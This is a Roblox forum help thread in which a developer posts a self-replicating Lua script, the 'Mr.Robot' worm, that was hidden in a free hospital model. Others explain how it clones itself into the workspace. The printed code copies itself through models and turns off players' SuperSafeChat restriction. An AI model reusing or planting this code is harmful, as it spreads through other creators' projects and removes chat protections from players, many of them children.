Requesting help about a script in my game that only appears when testing

Help and Feedback Game Design Support
#1

I want to figure out what a script that only appears in my project when testing does, and possibly figure out how to stop it from appearing.

I’m afraid that if I do not figure this out and publish anyways, that my account will be moderated. For that, I have not published the recent changes.

Here is the script:

Script 
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new("Message");
			m.Text = "Press the / key to start typing.";
			m.Parent = player;
			wait(5);
			m.Text = "Then press Enter to send your message.";
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage("collect");
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == "Player") then
			checkForAndSwitch(obj);
			local m = Instance.new("Message");
			m.Text = "Hello Im Mr.Robot";
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage("collect");
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == "Model") then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage("collect");
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == "Script" and v ~= script) then
			v.Parent = nil;
		elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]

Help would be very appreciated. Thank you.

the script is under the hospital model, aka this place.

it’s put into random parts of models under that model so I wouldn’t exactly trust it, although I’m not knowledgable enough to say it’s actually malicious.
the reason why you noticed it during testing is because the script copies itself into workspace with this line of code:

if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

After removing all instances of the script, the clone no longer appears!

Thank you for the help!

If anyone else could help with letting me know if it is malicious or not, that wold be awesome because my friend uses this same model in some of her stuff.
